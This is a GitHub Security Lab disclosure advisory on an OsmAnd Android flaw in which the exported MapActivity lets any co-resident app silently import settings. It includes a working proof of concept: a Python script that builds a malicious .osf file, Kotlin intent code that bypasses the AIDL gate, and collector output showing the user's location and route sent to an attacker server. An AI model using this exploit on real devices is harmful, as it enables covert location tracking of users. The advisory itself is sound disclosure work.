Coordinated Disclosure Timeline

Summary

OsmAnd version 3043c92b27b24a0b2c848bc7041cf5f69ede4ed6 is vulnerable to an issue where the Exported MapActivity improperly handles privileged AIDL intent extras without verifying their origin. This flaw allows a zero-permission app to silently import arbitrary .osf settings, potentially leading to unauthorized configuration changes.

Project

osmand

Tested Version

3043c92b27b24a0b2c848bc7041cf5f69ede4ed6

OsmAnd_5.3.3

Details

Exported MapActivity honors privileged AIDL intent extras from any caller without origin verification, allowing a zero-permission app to silently import arbitrary .osf settings (GHSL-2026-108)

OsmAnd’s MapActivity is exported and registers ACTION_VIEW intent filters for content:// URIs ending in .osf (AndroidManifest.xml). On resume, IntentHelper.parseContentIntent() routes the intent — together with intent.getExtras() — into ImportHelper.handleContentImport():

} else if ("content".equals(scheme)) {
    mapActivity.getImportHelper().handleContentImport(data, intent.getExtras(), true);
    clearIntent(intent);
}

After filename-suffix routing (.osf → settings importer), ImportHelper.handleOsmAndSettingsImport() reads four privilege-escalation flags from those extras with no caller verification:

private void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) {
    fileName = fileName.replace(ZIP_EXT, "");
    if (extras != null && CollectionUtils.containsAny(extras.keySet(),
            SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) {
        int version = extras.getInt(SETTINGS_VERSION_KEY, -1);
        String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY);
        boolean replace = extras.getBoolean(REPLACE_KEY);              // ← attacker-controlled
        boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY);   // ← attacker-controlled
        ArrayList<String> exportTypeKeys =
            extras.getStringArrayList(EXPORT_TYPE_LIST_KEY);           // ← attacker-controlled
        List<ExportType> exportTypes = null;
        if (exportTypeKeys != null) {
            exportTypes = ExportType.valuesOf(exportTypeKeys);
        }
        handleOsmAndSettingsImport(intentUri, fileName, exportTypes,
            replace, silentImport, latestChanges, version);
    } else {
        handleOsmAndSettingsImport(intentUri, fileName,
            null, false, false, null, -1);                             // safe defaults
    }
}

The key constants are public strings defined in SettingsHelper.java#L49-L53: "settings_version", "replace", "silent_import", "export_type_list_key". Any app can set them via Intent.putExtra().

Intended caller — the gated AIDL entry point. These extras were designed for an internal AIDL → activity bridge. The gated method OsmandAidlApi.importProfileV2() — which sits behind the isAppEnabled() connected-app check — does not perform the import itself. Instead, it bundles the flags and launches MapActivity:

public boolean importProfileV2(Uri profileUri, List<String> settingsTypeKeys,
        boolean replace, boolean silent, String latestChanges, int version) {
    if (profileUri != null) {
        Bundle bundle = new Bundle();
        bundle.putStringArrayList(EXPORT_TYPE_LIST_KEY, new ArrayList<>(settingsTypeKeys));
        bundle.putBoolean(REPLACE_KEY, replace);
        bundle.putBoolean(SILENT_IMPORT_KEY, silent);
        bundle.putString(SETTINGS_LATEST_CHANGES_KEY, latestChanges);
        bundle.putInt(SETTINGS_VERSION_KEY, version);
        MapActivity.launchMapActivityMoveToTop(app, null, profileUri, bundle);
        return true;
    }
    return false;
}

Because MapActivity is exported, any app can replay this bundle directly — bypassing the AIDL connected-app check entirely.

Import without user consent. When the attacker-supplied flags reach SettingsImportTask.onPostExecute(), the user-facing review and confirmation fragments are skipped:

  1. settingsTypes != null (from export_type_list_key) → skips FileImportSettingsFragment.showInstance(), the user-facing review screen that lists which items would be imported.

  2. replace = true → in getDuplicatesListener(), calls setShouldReplace(true) on every item, overwriting existing entries instead of appending with a _1 suffix.

  3. silentImport = true → suppresses ImportCompleteFragment.showInstance(), the import-complete notification.

The user sees OsmAnd briefly come to the foreground (singleTask → onNewIntent), no item list, no consent dialog, no completion notice.

Payload capabilities. Every ExportType is selectable via the export_type_list_key extra. The .osf format (a plain ZIP) can carry any combination of:

Attack constraints: This is a co-resident-app-only attack, not triggerable via browser deep links.

Impact

A zero-permission malicious app installed on the same device can achieve persistent real-time location tracking with no user interaction beyond opening the malicious app once:

  1. Privacy — Map tile tracking: The attacker injects a tile source pointing at their server and activates it by flipping MAP_ONLINE_DATA → true on the default profile. After OsmAnd restarts, every map pan/zoom emits tile requests GET /tiles/{z}/{x}/{y}.png to the attacker’s server. The slippy-map coordinates trivially convert to lat/lon bounding boxes, revealing the user’s real-time browsing location.

  2. Privacy — Route destination exfiltration: The attacker injects an OSRM routing engine. When the user requests navigation, the full origin/destination/waypoint coordinates are sent to the attacker’s server as URL path parameters (/route/v1/car/{lon},{lat};{lon},{lat}).

  3. Integrity — Silent settings overwrite: With replace=true, existing entries matched by name are overwritten. The attacker can name their tile source "OsmAnd (online tiles)" — the built-in default — to silently replace the user’s active map layer configuration.

    CWEs

Proof of Concept

A .osf is a plain ZIP. The importer (SettingsImporter.processItems()) reads items.json first, instantiates SettingsItem subclasses by type, then streams matching ZIP entries into each item’s reader.

Step 1 — Build the malicious .osf payload:

# build_osf.py
import json, zipfile

ATTACKER = "http://10.0.2.2:8000"  # emulator host

with zipfile.ZipFile("evil.osf", "w") as z:
    z.writestr("items.json", json.dumps({
        "version": 3,
        "items": [
            {"type": "MAP_SOURCES", "name": "map_sources"},
            {"type": "ONLINE_ROUTING_ENGINES", "name": "online_routing_engines"},
            {"type": "PROFILE", "file": "profile_default.json",
             "appMode": {"stringKey": "default"}},
        ],
    }))
    # Tile source — every viewport pan hits this URL
    z.writestr("map_sources.json", json.dumps({"items": [{
        "sql": False, "name": "OsmAnd (online tiles)",
        "minZoom": 1, "maxZoom": 19,
        "url": f"{ATTACKER}/tiles/{{0}}/{{1}}/{{2}}.png",
        "ext": ".png", "tileSize": 256, "bitDensity": 16,
        "avgSize": 18000, "timesupported": True, "expire": 1,
    }]}))
    # OSRM routing engine — every navigation request hits this URL
    z.writestr("online_routing_engines.json", json.dumps({"items": [{
        "type": "OSRM",
        "params": json.dumps({
            "KEY": "online_routing_engine_poc",
            "CUSTOM_NAME": "Tracker Routing",
            "CUSTOM_URL": f"{ATTACKER}/osrm/",
            "VEHICLE_KEY": "car",
        }),
    }]}))
    # Flip MAP_ONLINE_DATA → true on the default profile so the raster
    # layer is active on next launch (OsmAnd defaults to offline vector).
    # Values MUST be strings — CommonPreference.readFromJson() uses
    # json.getString() → parseString().
    z.writestr("profile_default.json", json.dumps({
        "map_online_data": "true",
        "map_tile_sources": "OsmAnd (online tiles)",
    }))

Step 2 — The zero-permission Android app delivers the payload:

// Stage the .osf from assets → cache, expose via FileProvider
val staged = File(cacheDir, "evil.osf")
assets.open("evil.osf").use { it.copyTo(staged.outputStream()) }
val uri = FileProvider.getUriForFile(this, "$packageName.fileprovider", staged)

startActivity(Intent(Intent.ACTION_VIEW).apply {
    setDataAndType(uri, "*/*")
    component = ComponentName("net.osmand.plus",
        "net.osmand.plus.activities.MapActivity")
    addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
        or Intent.FLAG_ACTIVITY_NEW_TASK)

    // Replay the AIDL service's bundle — bypasses isAppEnabled() gate
    putExtra("settings_version", 3)
    putExtra("settings_latest_changes", "")
    putExtra("replace", true)           // overwrite existing entries by name
    putExtra("silent_import", true)     // suppress completion notice
    putStringArrayListExtra("export_type_list_key",
        arrayListOf("MAP_SOURCES", "ONLINE_ROUTING_ENGINES", "PROFILE"))
})

Step 3 — Observe the exfiltration (attacker-side collector):

# Pan the map — collector_server.py output:
# [TILE #1]  14:23:07  z=15 x=9649 y=12320
#   ├── center: 40.70979, -73.98743
#   └── 🗺️  https://www.openstreetmap.org/#map=15/40.70979/-73.98743

Every tile loaded by the user (along with its coordinates) is captured, allowing an attacker to know where on the map a user is looking. To look convincing, a proper backend must be implemented.

In another PoC, when the user navigates to a location, the attacker can know both the origin and destination.

[ROUTE #1] 07:02:47  vehicle=car  waypoints=2
  ├── path: /osrm/car/-122.084,37.4219983;-122.32450103759766,37.99944305419922
  ├── 📍 Origin:      37.421998, -122.084000
  │      https://www.openstreetmap.org/#map=15/37.42200/-122.08400
  ├── 🏁 Destination: 37.999443, -122.324501
  │      https://www.openstreetmap.org/#map=15/37.99944/-122.32450
  ├── params: {'overview': ['full'], 'steps': ['true']}
  └── ⚠️  Attacker knows where the user is going

CVE

Credit

This issue was discovered with the GitHub Security Lab Taskflow Agent and verified by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-108 in any communication regarding this issue.